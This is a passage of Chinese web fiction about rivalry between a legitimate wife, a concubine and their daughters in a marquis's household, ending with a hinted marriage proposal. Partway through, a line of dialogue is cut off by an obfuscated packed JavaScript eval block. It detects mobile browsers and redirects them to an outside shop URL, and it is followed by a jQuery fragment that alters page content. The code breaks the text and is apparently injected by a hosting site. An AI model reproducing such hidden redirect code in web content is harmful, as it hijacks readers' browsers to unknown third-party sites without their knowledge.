几近黄昏时候,谢芷凝才从夏姨娘的小院里气闷地回了屋。
她也不叫丫鬟伺候,只是歪在榻上默默掉眼泪,后来越想越委屈,却硬生生忍着没哭出声来。
要是让外头下人听见,保准没多长时间就被院里其他人知道了,少不得落个小家子气。
今天笄礼,她一身穿戴都是拔尖的,想着借今天光景让那些太太奶奶们都瞧瞧,她的品貌气度可不输谢明姝。
偏二夫人心里存着气,摆明了想要让她难堪。
什么心性不稳,多磨性子,在场难道都是傻子不成?说什么是自谦,分明是嫡母故意下脸子,连及笄礼这样要紧的场合都半分不在意。
谢芷凝越想越难受,她自小要强样样不肯落人后,今天算是没脸见人了。
白苏在一边捧着热帕子,急得不知怎么好,急急劝了两句,宽慰她二夫人的话过几日也不会有人记得了。
谢芷凝哪里听得进去,只咬着牙含泪道:“你哪里懂?我这嫡母素来心狠,她就是不喜欢我姨娘得爹爹喜欢,便把气都撒在我身上。打量着旁人都是傻子,话说得这般不客气,往后别人提起我,也不过落得个浮躁的名头,我还有什么脸再出去见人?”
她在自己的屋子里哭,这边二房正屋气氛也没好到哪里去。
二夫人连日的憋闷好容易散了些,二老爷下衙回来,又被夏氏那个贱人撺掇了些什么,回来就对二夫人没个好脸色,二夫人自然也不干了。
二老爷坐在椅上,青筋爆起道:“今天是什么日子?你偏要寻不痛快,旁人家太太奶奶问起四丫头,那是看重孩子。你不上心就罢,做什么在别人跟前这么说,我看你是有意给四丫头难堪!”
二夫人压不住火气,冷笑一声道:“是,都是我的错,误了老爷的宝贝闺女。老爷也好好想想,她一个庶女,靠着姨娘得宠,在府里吃穿嚼用样样不缺,我已经很是宽厚了。我说的都是实话罢了,四丫头心浮气躁,自然要好好磨磨性子,将来要给人做媳妇甩脸子,旁人怎么想咱们家,老爷可别怪我性子直,有什么话就说什么。”
二老爷被她顶撞得脸上挂不住,当即吼道:“你还在这里念叨着嫡庶。照拂子女是你的职责,你今天当着外客的面下四丫头脸子,耽误了她的前程,你难道做得对?”
两个人你一言我一语,越闹越不成样子,这些年累积的不痛快,全都借着这事翻了出来。伺候的下人个个屏气敛声,只在外头守着,连大气都不敢出。
谢惠卿住的抱厦位置十分得天独厚,就在正屋后头,每回那边爆发激烈争吵,她这里也不能幸免,好在她最近已经熟悉了这样的频率。
为着谢芷凝的及笄礼,今年二老爷和二夫人置气的次数格外多。
看来夏姨娘也坐不住了,毕竟从前的龃龉是真,如今想要二夫人这个嫡母好生为四娘子相看实在不大可能的,夏姨娘也只能搬出二老爷来镇压二夫人,不过看二夫人性子是不可能轻易就范的。
谢惠卿叹了口气,望着昨儿才吩咐丫鬟出府去书斋买的话本子,本来是想着偶尔打发时间的,现下也没了心思看。
素商将话本子收起来,一边整理一边念叨:“让南星和几个小的去提食盒,今天怎么这么慢,去了好一会子了还没回来。”
谢惠卿淡声道:“今天府里大小厨房都忙不停,要招待宾客,想来一时顾不上后院也是有的。”
素商一想是这个理,听着正屋那边闹腾声渐渐歇了,想来是吵累了,今天这一出暂且停了,保不准明天还有的。
又等了许久,南星领着几个小丫鬟拎着膳盒回来了。
沉甸甸的膳盒放在桌上,南星一边麻利地打开盖子,忍不住叹气道:“今天内院厨房忙得很,连着各院的晚膳都耽搁了,我听那些婆子丫鬟们还想涨月钱,听说最近大夫人都放出去好些人了,说府里下人太多,许多人都没什么正经差事,没得在府里混饭吃。”
这话倒是,谢惠卿知道经营一个大家庭不容易,百来口人用度不小,这也不失为节约家用的一个好法子,总是能省一些省一些的。
今天晚膳菜色很丰富,碧涧羹煮的软烂透亮,梅花汤饼色相极好,旁边有个四格酱菜盒子,什么酱萝卜干,辣脚子,酱瓜和酱莴苣,吃起来脆爽下粥,配着几小叠时蔬,还有一样凉浆和煎得酥香的酥黄独。
素商和南星立在一旁伺候,南星笑道:“今天天热,内院厨房备的都是解暑的。奴婢去拎食盒的时候还碰见了六娘子身边的杜若,六娘子一贯喜欢在小厨房开火的,奴婢问了两句才晓得六娘子独喜欢刘嫂子做的酥黄独,说旁的人做不出这个味来。”
谢惠卿笑了笑,小姑娘口味差不多,这种煎炸的总是更得人心些。酥黄独是洗干净的芋头,裹上香榧子和杏仁碎调的浆糊,再下锅炸,瞧着不难,要做得好也不是那么简单的。
“还是六娘子好,跟着二夫人用小厨房,可以自行开火做饭。什么时候想吃些什么,嘴都能吩咐厨房快些做,真是好啊。”南星说着忽然有些羡慕起来。
谢惠卿虽也觉得好,但想起要置一个小厨房,里头至少要几个灶,再配上厨上的人,没钱是开不了火的,每天要无端生出多少开销来。
永宁侯府的小娘子每个月都是十两月例,瞧着很多,若是放在外头普通人家俭省些能过两年,可是在府里处处都是用钱的地方,若是手紧还要被人说小气,要说存钱也是能存的,就是不多。
谢惠卿想了想,过几天找个好日头要理理她的家当了。
过了笄礼,谢芷凝在这个社会便算是成年人了,可以相看亲事了。
按照大雍的社会风气,其实及笄前也可以看亲事,先把亲事定下,及笄后出嫁便是。不过,给女儿相看人家是母亲的分内事,二夫人跟夏姨娘不和,自然没那个闲心为谢芷凝操心。
那天及笄礼上原也有几个人家动了些心思,不过品出这二房嫡庶不和,想起二夫人搪塞的话一时都歇了意思,后来也就没个音讯了。
比起气定神闲的二夫人,夏姨娘那边着急上火得很,连着这几天请安,谢惠卿都发觉她嘴边上冒了个痘。
她一辈子屈居人下,身为妾室仰正室鼻息过日子,自然不想女儿过这样的日子。她私心自家闺女品貌拔尖,必不能窝囊个普通人家,将来也要体面些做个当家主母才好。
所以这几天,她每每在二老爷跟前吹枕头风,二老爷倒听进去了,可二夫人却有另一番算计。
她自然不情愿谢芷凝高嫁,压过自己的闺女,所以于亲事上也不大用心,太夫人早瞧出来了,不免敲打了两句。
长幼有序,要是谢芷凝嫁不好,将来她的亲闺女也不免受连累,总归是一家子姐妹,同气连枝。
二夫人心里愤懑,面上虽应承了太夫人,但心里想着寻个普通官宦人家就是了,不上不下的,将来怎么也越不过自己闺女。
就这么到了九月初,天气渐渐转凉。这日有贵客上门,太夫人让三位小娘子都收拾齐整了出来见客。
原是长信伯夫人上门,永宁侯府与长信伯府走动不多,虽然是转折亲也只是打过照面,因此长信伯夫人特意邀了长姐越国公夫人一道来。
谢惠卿上回便猜到了长信伯夫人的意思,无事不登三宝殿,料想着不是寻常走动。
谢芷凝自然也能想到,今日也打扮得很是清丽动人,谢明姝还没及笄没想到这一层,只觉得越国公夫人真热情,连带着把自家妹妹也带来了。
三姐妹进太夫人堂屋时,瞧见立着一个十八九岁的少年人,端的是身姿端正,眉目清朗的模样。
“贵府好教养,郎君生得模样周正,又有一身好学问,将来必有好前程。”太夫人赞道。
三夫人快人快语,也笑着附和:“我也是这样说,将来定然是个有造化的。”
二夫人听这话不免瘪了瘪嘴,人生得好有什么用?看将来过日子的时候还能当柴米油盐用不成。
三姐妹一进来,长信伯夫人的视线就落在中间那个。虽只是薄施粉黛,但一身碧色衣裳衬得人温柔秀美,瞧着行礼一套动作行云流水,这样的做派果真是有爵之家出来的。
谢芷凝今日特意细细收拾过,眉眼妆点得明艳,她偷偷瞥了眼长信伯府的郎君,见他生得清俊,方才长辈们都在夸赞,心里微微一动。
“好标志的小娘子们,依我说太夫人才是真正的好福气,这些个好孙女承欢膝下,看着就让人心生欢喜。我素来疼爱女孩,可惜家里也只二房一个女孩,便是四郎的嫡亲妹子。”长信伯夫人笑吟吟道。
越国公夫人接过话茬道:“我早与你提过的,永宁侯府的小娘子们是人见人夸的。像我家大媳妇,性子好又会管家,自打她进门我都省了好些心,早早过上了颐养天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811264|210841||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
年的日子,岂不快哉。”
谢惠卿在一旁默默听着,低着头当背景板。一边谢芷凝隐隐有些激动,谢明姝却是百无聊赖,只盼着能快些离开。
那郎君瞧着也有些不好意思,耳根子都泛了红,长信伯夫人瞥了眼侄子,因着今日是说携郎君来向永宁侯府大郎君请教学问的,因此见过了长辈们太夫人就让丫鬟领着去前院了。
姐妹们不过多留了一会,太夫人便摆了摆手道:“你们姐妹去花厅吧,长辈们有话要说。”
谢惠卿低眉顺眼地随谢芷凝和谢明姝出来了,顺着抄手游廊往花厅方向去。
谢明姝脸垮下来,忍不住小声嘟囔:“真是没趣得很,如今虽说入了秋可上午日头不小,说什么见贵客要好好打扮,见来见去都是自家亲戚的。长辈们说场面话,咱们杵在那里倒闹得头疼。”
谢惠卿瞥了眼谢芷凝,见她出来之后就沉默着,没有接话的意思,这倒是奇怪。
“长信伯夫人不是客么?要说她家与咱们家是转折亲,从前没走动的,今天特意邀了越国公夫人携郎君上门,瞧着是有事的。”谢惠卿漫不经心道。
谢明姝拉长了耳朵,顿了顿道:“有事…是了,该不会是上门来做媒的?”
她终于反应过来了,马上瞧着谢芷凝,这关口来不就是只能为着谢芷凝么?这么一想,谢明姝心里有些不屑,长信伯府,好歹是个有爵之家,真是便宜谢芷凝了。
谢芷凝却像没听见这话一样,她脚步一顿,抬手虚抚了下袖口,轻声道:“我方才走得急,想来绣帕不知落在哪里了,你们先去吧。”
谢明姝摆了摆手,和谢惠卿先去了花厅。
卢氏掌家理事,乳母今天带了小郎君出来,裴氏也带了自己闺女来,大房两个孙辈年龄相仿,嘻嘻笑笑到一处了。
一边的温氏很是艳羡,虽然说才嫁过来两年,但是肚子还没动静,二夫人已经问过许多次了,她自己压力也大。
谢明姝孩子般心性,很快就陪着瑜姐儿闹起来了。
谢惠卿挨着温氏坐下,她捧着茶盏笑道:“瑞哥儿和瑜姐儿都活泼可爱得紧,瞧着人的心都要化了。”
温氏勉强笑了笑,语气低低道:“可惜我没福气,若是有个一男半女也好。虽然你三哥哥什么都没说,可我知道他心里也是想的。”
谢惠卿转了话头,望着温氏道:“嫂嫂素来宽厚温柔,待人也和善。府里上下,无论是长辈们还是伺候的下人,谁不说嫂嫂温顺妥帖?依我瞧,嫂嫂的福气厚着呢,都说好东西是厚积薄发,没准马上就要来了,这时候且不要灰心。”
温氏本就觉得有些酸涩,可这些话也不能跟亲近的枕边人说,跟下人说她们都是挑拣好的话,此刻听谢惠卿这么说,又瞧见她温柔带笑的眉眼,心里熨帖了大半。
温氏伸手握住谢惠卿的手,和声道:“好妹妹,多谢你宽慰嫂子。我有时候总不免钻了死胡同,总觉得自己运道不好,可你说得对,我不能灰心,日子还要往前看呢。说起来,还是未出阁时候的日子好,总不用担忧那么多,家里事事有人做主。”
谢惠卿想起闺阁的烦恼,倒也是有的。比如说嫡母不甚宽厚,姐妹间总拌嘴,不过生存上面是可以保障的,小日子过得也是有滋味的。
但嫁人之后,要去别人家立规矩,操持家事,她心底就开始发怵,说不出的惆怅。
说着自然而然牵起了亲事的话头,温氏道:“如今你四姐姐已经及笄了,母亲正在给她相看人家,再下一个便到你了,日子过得真快啊,兴许明年这时候嫂嫂都看不见你了。”
谢惠卿心里呜咽,忽想起长信伯夫人的事情,索性拐着弯问道:“嫂嫂,我如今还小呢,母亲也是要先料理四姐姐的事情来着。不过,方才让我们去拜见长信伯夫人,我瞧着不似寻常走动,是有什么要紧事么?”
她眨了眨眼,一副好奇闲话的模样。
温氏本就感念她方才的宽慰,索性这事也过不了多久就知道的,遂压低声音道:“长信伯府有意跟咱们家结亲,上次问了母亲意思,母亲觉得你品性最合适。你记得上回宁国公府么?让你们去拜见越国公夫人,她很是喜欢你,跟大伯母夸了许久,这回越国公夫人牵线,长信伯夫人亲来相看,想来这门亲事八九不离十了。”
温氏的话落在谢惠卿耳中,她整个人都呆住了,脑子一片空白。